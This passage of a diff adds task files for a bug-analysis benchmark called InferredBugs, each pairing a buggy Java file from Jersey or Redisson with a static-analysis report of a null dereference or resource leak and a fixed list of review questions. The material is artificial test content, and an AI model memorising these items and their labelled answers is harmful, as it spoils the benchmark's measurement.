+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-5017/instruction.md b/inferredbugs-5017/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..19149e52dd8f4b6ddd7742787b6f75e564498605
--- /dev/null
+++ b/inferredbugs-5017/instruction.md
@@ -0,0 +1,389 @@
+# InferredBugs Task - Java
+
+## Project Information
+
+**Project:** jersey
+**Bug ID:** 3
+**Language:** java
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```java
+/*
+ * Copyright (c) 2016, 2020 Oracle and/or its affiliates. All rights reserved.
+ *
+ * This program and the accompanying materials are made available under the
+ * terms of the Eclipse Public License v. 2.0, which is available at
+ * http://www.eclipse.org/legal/epl-2.0.
+ *
+ * This Source Code may also be made available under the following Secondary
+ * Licenses when the conditions for such availability set forth in the
+ * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
+ * version 2 with the GNU Classpath Exception, which is available at
+ * https://www.gnu.org/software/classpath/license.html.
+ *
+ * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
+ */
+
+package org.glassfish.jersey.netty.connector;
+
+import java.io.IOException;
+import java.io.OutputStream;
+import java.net.InetSocketAddress;
+import java.net.URI;
+import java.util.List;
+import java.util.Map;
+import java.util.concurrent.CompletableFuture;
+import java.util.concurrent.ExecutionException;
+import java.util.concurrent.ExecutorService;
+import java.util.concurrent.Executors;
+import java.util.concurrent.Future;
+import java.util.concurrent.TimeUnit;
+import java.util.concurrent.atomic.AtomicReference;
+
+import javax.ws.rs.ProcessingException;
+import javax.ws.rs.client.Client;
+import javax.ws.rs.core.Configuration;
+
+import io.netty.bootstrap.Bootstrap;
+import io.netty.channel.Channel;
+import io.netty.channel.ChannelInitializer;
+import io.netty.channel.ChannelOption;
+import io.netty.channel.ChannelPipeline;
+import io.netty.channel.EventLoopGroup;
+import io.netty.channel.nio.NioEventLoopGroup;
+import io.netty.channel.socket.SocketChannel;
+import io.netty.channel.socket.nio.NioSocketChannel;
+import io.netty.handler.codec.http.DefaultFullHttpRequest;
+import io.netty.handler.codec.http.DefaultHttpRequest;
+import io.netty.handler.codec.http.HttpChunkedInput;
+import io.netty.handler.codec.http.HttpClientCodec;
+import io.netty.handler.codec.http.HttpContentDecompressor;
+import io.netty.handler.codec.http.HttpHeaderNames;
+import io.netty.handler.codec.http.HttpMethod;
+import io.netty.handler.codec.http.HttpRequest;
+import io.netty.handler.codec.http.HttpUtil;
+import io.netty.handler.codec.http.HttpVersion;
+import io.netty.handler.proxy.HttpProxyHandler;
+import io.netty.handler.ssl.ClientAuth;
+import io.netty.handler.ssl.JdkSslContext;
+import io.netty.handler.stream.ChunkedWriteHandler;
+import io.netty.util.concurrent.GenericFutureListener;
+import org.glassfish.jersey.client.ClientProperties;
+import org.glassfish.jersey.client.ClientRequest;
+import org.glassfish.jersey.client.ClientResponse;
+import org.glassfish.jersey.client.spi.AsyncConnectorCallback;
+import org.glassfish.jersey.client.spi.Connector;
+import org.glassfish.jersey.message.internal.OutboundMessageContext;
+import org.glassfish.jersey.netty.connector.internal.JerseyChunkedInput;
+
+/**
+ * Netty connector implementation.
+ *
+ * @author Pavel Bucek
+ */
+class NettyConnector implements Connector {
+
+    final ExecutorService executorService;
+    final EventLoopGroup group;
+    final Client client;
+
+    NettyConnector(Client client) {
+
+        final Object threadPoolSize = client.getConfiguration().getProperties().get(ClientProperties.ASYNC_THREADPOOL_SIZE);
+
+        if (threadPoolSize != null && threadPoolSize instanceof Integer && (Integer) threadPoolSize > 0) {
+            executorService = Executors.newFixedThreadPool((Integer) threadPoolSize);
+        } else {
+            executorService = Executors.newCachedThreadPool();
+        }
+
+        this.group = new NioEventLoopGroup();
+        this.client = client;
+    }
+
+    @Override
+    public ClientResponse apply(ClientRequest jerseyRequest) {
+
+        final AtomicReference<ClientResponse> syncResponse = new AtomicReference<>(null);
+        final AtomicReference<Throwable> syncException = new AtomicReference<>(null);
+
+        try {
+            Future<?> resultFuture = apply(jerseyRequest, new AsyncConnectorCallback() {
+                @Override
+                public void response(ClientResponse response) {
+                    syncResponse.set(response);
+                }
+
+                @Override
+                public void failure(Throwable failure) {
+                    syncException.set(failure);
+                }
+            });
+
+            Integer timeout = ClientProperties.getValue(jerseyRequest.getConfiguration().getProperties(),
+                                                        ClientProperties.READ_TIMEOUT, 0);
+
+            if (timeout != null && timeout > 0) {
+                resultFuture.get(timeout, TimeUnit.MILLISECONDS);
+            } else {
+                resultFuture.get();
+            }
+        } catch (ExecutionException ex) {
+            Throwable e = ex.getCause() == null ? ex : ex.getCause();
+            throw new ProcessingException(e.getMessage(), e);
+        } catch (Exception ex) {
+            throw new ProcessingException(ex.getMessage(), ex);
+        }
+
+        Throwable throwable = syncException.get();
+        if (throwable == null) {
+            return syncResponse.get();
+        } else {
+            throw new RuntimeException(throwable);
+        }
+    }
+
+    @Override
+    public Future<?> apply(final ClientRequest jerseyRequest, final AsyncConnectorCallback jerseyCallback) {
+
+        final CompletableFuture<Object> settableFuture = new CompletableFuture<>();
+
+        final URI requestUri = jerseyRequest.getUri();
+        String host = requestUri.getHost();
+        int port = requestUri.getPort() != -1 ? requestUri.getPort() : "https".equals(requestUri.getScheme()) ? 443 : 80;
+
+        try {
+            Bootstrap b = new Bootstrap();
+            b.group(group)
+             .channel(NioSocketChannel.class)
+             .handler(new ChannelInitializer<SocketChannel>() {
+                 @Override
+                 protected void initChannel(SocketChannel ch) throws Exception {
+                     ChannelPipeline p = ch.pipeline();
+
+                     // Enable HTTPS if necessary.
+                     if ("https".equals(requestUri.getScheme())) {
+                         // making client authentication optional for now; it could be extracted to configurable property
+                         JdkSslContext jdkSslContext = new JdkSslContext(client.getSslContext(), true, ClientAuth.NONE);
+                         p.addLast(jdkSslContext.newHandler(ch.alloc()));
+                     }
+
+                     // http proxy
+                     Configuration config = jerseyRequest.getConfiguration();
+                     final Object proxyUri = config.getProperties().get(ClientProperties.PROXY_URI);
+                     if (proxyUri != null) {
+                         final URI u = getProxyUri(proxyUri);
+
+                         final String userName = ClientProperties.getValue(
+                                 config.getProperties(), ClientProperties.PROXY_USERNAME, String.class);
+                         final String password = ClientProperties.getValue(
+                                 config.getProperties(), ClientProperties.PROXY_PASSWORD, String.class);
+
+                         p.addLast(new HttpProxyHandler(new InetSocketAddress(u.getHost(),
+                                                                              u.getPort() == -1 ? 8080 : u.getPort()),
+                                                        userName, password));
+                     }
+
+                     p.addLast(new HttpClientCodec());
+                     p.addLast(new ChunkedWriteHandler());
+                     p.addLast(new HttpContentDecompressor());
+                     p.addLast(new JerseyClientHandler(NettyConnector.this, jerseyRequest, jerseyCallback, settableFuture));
+                 }
+             });
+
+            // connect timeout
+            Integer connectTimeout = ClientProperties.getValue(jerseyRequest.getConfiguration().getProperties(),
+                                                               ClientProperties.CONNECT_TIMEOUT, 0);
+            if (connectTimeout > 0) {
+                b.option(ChannelOption.CONNECT_TIMEOUT_MILLIS, connectTimeout);
+            }
+
+            // Make the connection attempt.
+            final Channel ch = b.connect(host, port).sync().channel();
+
+            // guard against prematurely closed channel
+            final GenericFutureListener<io.netty.util.concurrent.Future<? super Void>> closeListener =
+                    new GenericFutureListener<io.netty.util.concurrent.Future<? super Void>>() {
+                        @Override
+                        public void operationComplete(io.netty.util.concurrent.Future<? super Void> future) throws Exception {
+                            if (!settableFuture.isDone()) {
+                                settableFuture.completeExceptionally(new IOException("Channel closed."));
+                            }
+                        }
+                    };
+
+            ch.closeFuture().addListener(closeListener);
+
+            HttpRequest nettyRequest;
+            String pathWithQuery = buildPathWithQueryParameters(requestUri);
+
+            if (jerseyRequest.hasEntity()) {
+                nettyRequest = new DefaultHttpRequest(HttpVersion.HTTP_1_1,
+                                                      HttpMethod.valueOf(jerseyRequest.getMethod()),
+                                                      pathWithQuery);
+            } else {
+                nettyRequest = new DefaultFullHttpRequest(HttpVersion.HTTP_1_1,
+                                                          HttpMethod.valueOf(jerseyRequest.getMethod()),
+                                                          pathWithQuery);
+            }
+
+            // headers
+            for (final Map.Entry<String, List<String>> e : jerseyRequest.getStringHeaders().entrySet()) {
+                nettyRequest.headers().add(e.getKey(), e.getValue());
+            }
+
+            // host header - http 1.1
+            nettyRequest.headers().add(HttpHeaderNames.HOST, jerseyRequest.getUri().getHost());
+
+            if (jerseyRequest.hasEntity()) {
+                if (jerseyRequest.getLengthLong() == -1) {
+                    HttpUtil.setTransferEncodingChunked(nettyRequest, true);
+                } else {
+                    nettyRequest.headers().add(HttpHeaderNames.CONTENT_LENGTH, jerseyRequest.getLengthLong());
+                }
+            }
+
+            if (jerseyRequest.hasEntity()) {
+                // Send the HTTP request.
+                ch.writeAndFlush(nettyRequest);
+
+                final JerseyChunkedInput jerseyChunkedInput = new JerseyChunkedInput(ch);
+                jerseyRequest.setStreamProvider(new OutboundMessageContext.StreamProvider() {
+                    @Override
+                    public OutputStream getOutputStream(int contentLength) throws IOException {
+                        return jerseyChunkedInput;
+                    }
+                });
+
+                if (HttpUtil.isTransferEncodingChunked(nettyRequest)) {
+                    ch.write(new HttpChunkedInput(jerseyChunkedInput));
+                } else {
+                    ch.write(jerseyChunkedInput);
+                }
+
+                executorService.execute(new Runnable() {
+                    @Override
+                    public void run() {
+                        // close listener is not needed any more.
+                        ch.closeFuture().removeListener(closeListener);
+
+                        try {
+                            jerseyRequest.writeEntity();
+                        } catch (IOException e) {
+                            jerseyCallback.failure(e);
+                            settableFuture.completeExceptionally(e);
+                        }
+                    }
+                });
+
+                ch.flush();
+            } else {
+                // close listener is not needed any more.
+                ch.closeFuture().removeListener(closeListener);
+
+                // Send the HTTP request.
+                ch.writeAndFlush(nettyRequest);
+            }
+
+        } catch (InterruptedException e) {
+            settableFuture.completeExceptionally(e);
+            return settableFuture;
+        }
+
+        return settableFuture;
+    }
+
+    private String buildPathWithQueryParameters(URI requestUri) {
+        if (requestUri.getRawQuery() != null) {
+            return String.format("%s?%s", requestUri.getRawPath(), requestUri.getRawQuery());
+        } else {
+            return requestUri.getRawPath();
+        }
+    }
+
+    @Override
+    public String getName() {
+        return "Netty 4.1.x";
+    }
+
+    @Override
+    public void close() {
+        group.shutdownGracefully();
+        executorService.shutdown();
+    }
+
+    @SuppressWarnings("ChainOfInstanceofChecks")
+    private static URI getProxyUri(final Object proxy) {
+        if (proxy instanceof URI) {
+            return (URI) proxy;
+        } else if (proxy instanceof String) {
+            return URI.create((String) proxy);
+        } else {
+            throw new ProcessingException(LocalizationMessages.WRONG_PROXY_URI_TYPE(ClientProperties.PROXY_URI));
+        }
+    }
+}
+
+```
+
+### Bug Class:
+PROVER
+
+### Kind:
+ERROR
+
+### Bug Type:
+NULL_DEREFERENCE
+
+### Qualifier:
+object returned by `jerseyRequest.getStringHeaders()` could be null and is dereferenced at line 221.
+
+### Severity:
+HIGH
+
+### Visibility:
+user
+
+### Procedure:
+Future NettyConnector.apply(ClientRequest,AsyncConnectorCallback)
+
+### Procedure Id:
+org.glassfish.jersey.netty.connector.NettyConnector.apply(org.glassfish.jersey.client.ClientRequest,.ca178953781c2c29c1dc78c5bd4c3232
+
+### File:
+connectors/netty-connector/src/main/java/org/glassfish/jersey/netty/connector/NettyConnector.java
+
+### Key:
+NettyConnector.java|apply|NULL_DEREFERENCE
+
+### Node Key:
+42f56fda1ad408e362508b93a175bb0c
+
+### Hash:
+a42d72767ec2fecd661735a7d3971f34
+
+### Bug Type Hum:
+Null Dereference
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-5018/instruction.md b/inferredbugs-5018/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..0d0db96d205cd42a2932d36b86ff8c0dbd3bbbae
--- /dev/null
+++ b/inferredbugs-5018/instruction.md
@@ -0,0 +1,225 @@
+# InferredBugs Task - Java
+
+## Project Information
+
+**Project:** jersey
+**Bug ID:** 2
+**Language:** java
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```java
+/*
+ * Copyright (c) 2017, 2019 Oracle and/or its affiliates. All rights reserved.
+ *
+ * This program and the accompanying materials are made available under the
+ * terms of the Eclipse Public License v. 2.0, which is available at
+ * http://www.eclipse.org/legal/epl-2.0.
+ *
+ * This Source Code may also be made available under the following Secondary
+ * Licenses when the conditions for such availability set forth in the
+ * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
+ * version 2 with the GNU Classpath Exception, which is available at
+ * https://www.gnu.org/software/classpath/license.html.
+ *
+ * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
+ */
+
+package org.glassfish.jersey.jsonb.internal;
+
+import java.io.IOException;
+import java.io.InputStream;
+import java.io.OutputStream;
+import java.io.PushbackInputStream;
+import java.lang.annotation.Annotation;
+import java.lang.reflect.Type;
+
+import javax.ws.rs.Consumes;
+import javax.ws.rs.ProcessingException;
+import javax.ws.rs.Produces;
+import javax.ws.rs.WebApplicationException;
+import javax.ws.rs.core.Context;
+import javax.ws.rs.core.MediaType;
+import javax.ws.rs.core.MultivaluedMap;
+import javax.ws.rs.core.NoContentException;
+import javax.ws.rs.ext.ContextResolver;
+import javax.ws.rs.ext.Provider;
+import javax.ws.rs.ext.Providers;
+
+import javax.json.bind.Jsonb;
+import javax.json.bind.JsonbBuilder;
+import javax.json.bind.JsonbException;
+
+import org.glassfish.jersey.jsonb.LocalizationMessages;
+import org.glassfish.jersey.message.internal.AbstractMessageReaderWriterProvider;
+
+/**
+ * Entity provider (reader and writer) for JSONB.
+ *
+ * @author Adam Lindenthal
+ */
+@Provider
+@Produces({"application/json", "text/json", "*/*"})
+@Consumes({"application/json", "text/json", "*/*"})
+public class JsonBindingProvider extends AbstractMessageReaderWriterProvider<Object> {
+
+    private static final String JSON = "json";
+    private static final String PLUS_JSON = "+json";
+
+    private Providers providers;
+
+    public JsonBindingProvider(@Context Providers providers) {
+        this.providers = providers;
+    }
+
+    @Override
+    public boolean isReadable(Class<?> type, Type genericType, Annotation[] annotations, MediaType mediaType) {
+        return supportsMediaType(mediaType);
+    }
+
+    @Override
+    public Object readFrom(Class<Object> type, Type genericType,
+                           Annotation[] annotations,
+                           MediaType mediaType,
+                           MultivaluedMap<String, String> httpHeaders,
+                           InputStream entityStream) throws IOException, WebApplicationException {
+        if (entityStream.markSupported()) {
+            entityStream.mark(1);
+            if (entityStream.read() == -1) {
+                throw new NoContentException(LocalizationMessages.ERROR_JSONB_EMPTYSTREAM());
+            }
+            entityStream.reset();
+        } else {
+            final PushbackInputStream buffer = new PushbackInputStream(entityStream);
+            final int firstByte = buffer.read();
+            if (firstByte == -1) {
+                throw new NoContentException(LocalizationMessages.ERROR_JSONB_EMPTYSTREAM());
+            }
+            buffer.unread(firstByte);
+            entityStream = buffer;
+        }
+
+        Jsonb jsonb = getJsonb(type);
+
+        try {
+            return jsonb.fromJson(entityStream, genericType);
+        } catch (JsonbException e) {
+            throw new ProcessingException(LocalizationMessages.ERROR_JSONB_DESERIALIZATION(), e);
+        }
+    }
+
+    @Override
+    public boolean isWriteable(Class<?> type, Type genericType, Annotation[] annotations, MediaType mediaType) {
+        return supportsMediaType(mediaType);
+    }
+
+    @Override
+    public void writeTo(Object o, Class<?> type, Type genericType,
+                        Annotation[] annotations,
+                        MediaType mediaType,
+                        MultivaluedMap<String, Object> httpHeaders,
+                        OutputStream entityStream) throws IOException, WebApplicationException {
+        Jsonb jsonb = getJsonb(type);
+        try {
+            entityStream.write(jsonb.toJson(o).getBytes(AbstractMessageReaderWriterProvider.getCharset(mediaType)));
+            entityStream.flush();
+        } catch (IOException e) {
+            throw new ProcessingException(LocalizationMessages.ERROR_JSONB_SERIALIZATION(), e);
+        }
+    }
+
+    private Jsonb getJsonb(Class<?> type) {
+        final ContextResolver<Jsonb> contextResolver = providers.getContextResolver(Jsonb.class, MediaType.APPLICATION_JSON_TYPE);
+        if (contextResolver != null) {
+            return contextResolver.getContext(type);
+        } else {
+            return JsonbSingleton.INSTANCE.getInstance();
+        }
+    }
+
+    /**
+     * @return true for all media types of the pattern *&#47;json and
+     * *&#47;*+json.
+     */
+    private static boolean supportsMediaType(final MediaType mediaType) {
+        return mediaType.getSubtype().equals(JSON) || mediaType.getSubtype().endsWith(PLUS_JSON);
+    }
+
+    private enum JsonbSingleton {
+        INSTANCE;
+
+        private Jsonb jsonbInstance;
+
+        Jsonb getInstance() {
+            return jsonbInstance;
+        }
+
+        JsonbSingleton() {
+            this.jsonbInstance = JsonbBuilder.create();
+        }
+    }
+}
+
+```
+
+### Bug Class:
+PROVER
+
+### Kind:
+ERROR
+
+### Bug Type:
+RESOURCE_LEAK
+
+### Qualifier:
+resource of type `java.io.PushbackInputStream` acquired to `buffer` by call to `new()` at line 82 is not released after line 96.
+**Note**: potential exception at line 83
+
+### Severity:
+HIGH
+
+### Visibility:
+user
+
+### Procedure:
+Object JsonBindingProvider.readFrom(Class,Type,java.lang.annotation.Annotation[],MediaType,MultivaluedMap,InputStream)
+
+### Procedure Id:
+org.glassfish.jersey.jsonb.internal.JsonBindingProvider.readFrom(java.lang.Class,java.lang.reflect.T.2b069894710c008cc52bcb735bc00212
+
+### File:
+media/json-binding/src/main/java/org/glassfish/jersey/jsonb/internal/JsonBindingProvider.java
+
+### Key:
+JsonBindingProvider.java|readFrom|RESOURCE_LEAK
+
+### Node Key:
+95ced91ca0473a6646194f1eb482b307
+
+### Hash:
+3d4ff07d0cc753a0047940db1a6f18b4
+
+### Bug Type Hum:
+Resource Leak
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-5019/instruction.md b/inferredbugs-5019/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..38810a9c3cb3cc29d7134330f7689a427aef64bb
--- /dev/null
+++ b/inferredbugs-5019/instruction.md
@@ -0,0 +1,192 @@
+# InferredBugs Task - Java
+
+## Project Information
+
+**Project:** jersey
+**Bug ID:** 5
+**Language:** java
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```java
+/*
+ * Copyright (c) 2015, 2019 Oracle and/or its affiliates. All rights reserved.
+ *
+ * This program and the accompanying materials are made available under the
+ * terms of the Eclipse Public License v. 2.0, which is available at
+ * http://www.eclipse.org/legal/epl-2.0.
+ *
+ * This Source Code may also be made available under the following Secondary
+ * Licenses when the conditions for such availability set forth in the
+ * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
+ * version 2 with the GNU Classpath Exception, which is available at
+ * https://www.gnu.org/software/classpath/license.html.
+ *
+ * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
+ */
+
+package org.glassfish.jersey.kryo.internal;
+
+import java.io.IOException;
+import java.io.InputStream;
+import java.io.OutputStream;
+import java.lang.annotation.Annotation;
+import java.lang.reflect.Type;
+
+import javax.ws.rs.Consumes;
+import javax.ws.rs.Produces;
+import javax.ws.rs.WebApplicationException;
+import javax.ws.rs.core.MediaType;
+import javax.ws.rs.core.MultivaluedMap;
+import javax.ws.rs.ext.MessageBodyReader;
+import javax.ws.rs.ext.MessageBodyWriter;
+import javax.ws.rs.ext.Provider;
+
+import com.esotericsoftware.kryo.Kryo;
+import com.esotericsoftware.kryo.io.Input;
+import com.esotericsoftware.kryo.io.Output;
+import com.esotericsoftware.kryo.pool.KryoCallback;
+import com.esotericsoftware.kryo.pool.KryoFactory;
+import com.esotericsoftware.kryo.pool.KryoPool;
+
+/**
+ * @author Libor Kramolis
+ */
+@Provider
+@Consumes("application/x-kryo")
+@Produces("application/x-kryo")
+public class KryoMessageBodyProvider implements MessageBodyWriter<Object>, MessageBodyReader<Object> {
+
+    private final KryoPool kryoPool;
+
+    public KryoMessageBodyProvider() {
+        final KryoFactory kryoFactory = new KryoFactory() {
+            public Kryo create() {
+                final Kryo kryo = new Kryo();
+                //TODO: configure kryo instance, customize settings
+                //TODO: e.g. looking for Kryo via ContextResolver (like Jackson)
+                return kryo;
+            }
+        };
+        kryoPool = new KryoPool.Builder(kryoFactory).softReferences().build();
+    }
+
+    //
+    // MessageBodyWriter
+    //
+
+    @Override
+    public long getSize(final Object object, final Class<?> type, final Type genericType,
+                        final Annotation[] annotations, final MediaType mediaType) {
+        return -1;
+    }
+
+    @Override
+    public boolean isWriteable(final Class<?> type, final Type genericType,
+                               final Annotation[] annotations, final MediaType mediaType) {
+        return true;
+    }
+
+    @Override
+    public void writeTo(final Object object, final Class<?> type, final Type genericType,
+                        final Annotation[] annotations, final MediaType mediaType,
+                        final MultivaluedMap<String, Object> httpHeaders, final OutputStream entityStream)
+            throws IOException, WebApplicationException {
+        final Output output = new Output(entityStream);
+        kryoPool.run(new KryoCallback() {
+            public Object execute(Kryo kryo) {
+                kryo.writeObject(output, object);
+                return null;
+            }
+        });
+        output.flush();
+    }
+
+    //
+    // MessageBodyReader
+    //
+
+    @Override
+    public boolean isReadable(final Class<?> type, final Type genericType,
+                              final Annotation[] annotations, final MediaType mediaType) {
+        return true;
+    }
+
+    @Override
+    public Object readFrom(final Class<Object> type, final Type genericType,
+                           final Annotation[] annotations, final MediaType mediaType,
+                           final MultivaluedMap<String, String> httpHeaders,
+                           final InputStream entityStream) throws IOException, WebApplicationException {
+        final Input input = new Input(entityStream);
+
+        return kryoPool.run(new KryoCallback() {
+            public Object execute(Kryo kryo) {
+                return kryo.readObject(input, type);
+            }
+        });
+    }
+
+}
+
+```
+
+### Bug Class:
+PROVER
+
+### Kind:
+ERROR
+
+### Bug Type:
+RESOURCE_LEAK
+
+### Qualifier:
+resource of type `com.esotericsoftware.kryo.io.Output` acquired to `output` by call to `new()` at line 84 is not released after line 91.
+
+### Severity:
+HIGH
+
+### Visibility:
+user
+
+### Procedure:
+void KryoMessageBodyProvider.writeTo(Object,Class,Type,java.lang.annotation.Annotation[],MediaType,MultivaluedMap,OutputStream)
+
+### Procedure Id:
+org.glassfish.jersey.kryo.internal.KryoMessageBodyProvider.writeTo(java.lang.Object,java.lang.Class,.41c401c1e41b5dbd295382c537b114d3
+
+### File:
+incubator/kryo/src/main/java/org/glassfish/jersey/kryo/internal/KryoMessageBodyProvider.java
+
+### Key:
+KryoMessageBodyProvider.java|writeTo|RESOURCE_LEAK
+
+### Node Key:
+b0ed25eec6c25e7c4348974d51cf6b89
+
+### Hash:
+70680884d4035669b9bf461680ef1685
+
+### Bug Type Hum:
+Resource Leak
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-5020/instruction.md b/inferredbugs-5020/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..03bcd9e8751890f7b27044f241bd7fcea3cfc26b
--- /dev/null
+++ b/inferredbugs-5020/instruction.md
@@ -0,0 +1,218 @@
+# InferredBugs Task - Java
+
+## Project Information
+
+**Project:** redisson
+**Bug ID:** 1
+**Language:** java
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```java
+/**
+ * Copyright 2014 Nikita Koksharov, Nickolay Borbit
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *    http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package org.redisson;
+
+import org.redisson.connection.ConnectionManager;
+import org.redisson.core.RAtomicLong;
+
+import com.lambdaworks.redis.RedisConnection;
+
+/**
+ * Distributed alternative to the {@link java.util.concurrent.atomic.AtomicLong}
+ *
+ * @author Nikita Koksharov
+ *
+ */
+public class RedissonAtomicLong extends RedissonObject implements RAtomicLong {
+
+    private final ConnectionManager connectionManager;
+
+    RedissonAtomicLong(ConnectionManager connectionManager, String name) {
+        super(name);
+        this.connectionManager = connectionManager;
+    }
+
+
+    @Override
+    public long addAndGet(long delta) {
+        RedisConnection<String, Object> conn = connectionManager.connection();
+        try {
+            return conn.incrby(getName(), delta);
+        } finally {
+            connectionManager.release(conn);
+        }
+    }
+
+    @Override
+    public boolean compareAndSet(long expect, long update) {
+        RedisConnection<String, Object> conn = connectionManager.connection();
+        try {
+            while (true) {
+                conn.watch(getName());
+                Long value = (Long) conn.get(getName());
+                if (value != expect) {
+                    conn.discard();
+                    return false;
+                }
+                conn.multi();
+                conn.set(getName(), update);
+                if (conn.exec().size() == 1) {
+                    return true;
+                }
+            }
+        } finally {
+            connectionManager.release(conn);
+        }
+    }
+
+    @Override
+    public long decrementAndGet() {
+        RedisConnection<String, Object> conn = connectionManager.connection();
+        try {
+            return conn.decr(getName());
+        } finally {
+            connectionManager.release(conn);
+        }
+    }
+
+    @Override
+    public long get() {
+        RedisConnection<String, Object> conn = connectionManager.connection();
+        try {
+            return (Long) conn.get(getName());
+        } finally {
+            connectionManager.release(conn);
+        }
+    }
+
+    @Override
+    public long getAndAdd(long delta) {
+        while (true) {
+            long current = get();
+            long next = current + delta;
+            if (compareAndSet(current, next))
+                return current;
+        }
+    }
+
+    @Override
+    public long getAndSet(long newValue) {
+        RedisConnection<String, Object> conn = connectionManager.connection();
+        try {
+            return (Long) conn.getset(getName(), newValue);
+        } finally {
+            connectionManager.release(conn);
+        }
+    }
+
+    @Override
+    public long incrementAndGet() {
+        RedisConnection<String, Object> conn = connectionManager.connection();
+        try {
+            return conn.incr(getName());
+        } finally {
+            connectionManager.release(conn);
+        }
+    }
+
+    @Override
+    public long getAndIncrement() {
+        return getAndAdd(1);
+    }
+
+    public long getAndDecrement() {
+        return getAndAdd(-1);
+    }
+
+    @Override
+    public void set(long newValue) {
+        RedisConnection<String, Object> conn = connectionManager.connection();
+        try {
+            conn.set(getName(), newValue);
+        } finally {
+            connectionManager.release(conn);
+        }
+    }
+
+    public String toString() {
+        return Long.toString(get());
+    }
+
+}
+
+```
+
+### Bug Class:
+PROVER
+
+### Kind:
+ERROR
+
+### Bug Type:
+NULL_DEREFERENCE
+
+### Qualifier:
+object `value` last assigned on line 55 could be null and is dereferenced at line 56.
+
+### Severity:
+HIGH
+
+### Visibility:
+user
+
+### Procedure:
+boolean RedissonAtomicLong.compareAndSet(long,long)
+
+### Procedure Id:
+org.redisson.RedissonAtomicLong.compareAndSet(long,long):boolean.94493630ba2196861e6b6f81a4e4f9f4
+
+### File:
+src/main/java/org/redisson/RedissonAtomicLong.java
+
+### Key:
+RedissonAtomicLong.java|compareAndSet|NULL_DEREFERENCE
+
+### Node Key:
+9afcdcc9d4253c36267a0d34b98c337d
+
+### Hash:
+dcd1dc124acb1679ce64ec574bee7053
+
+### Bug Type Hum:
+Null Dereference
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-5021/instruction.md b/inferredbugs-5021/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..b16333fa8da3a9bd2f1bd8697a3ab0aa1b687ddd
--- /dev/null
+++ b/inferredbugs-5021/instruction.md
@@ -0,0 +1,737 @@
+# InferredBugs Task - Java
+
+## Project Information
+
+**Project:** redisson
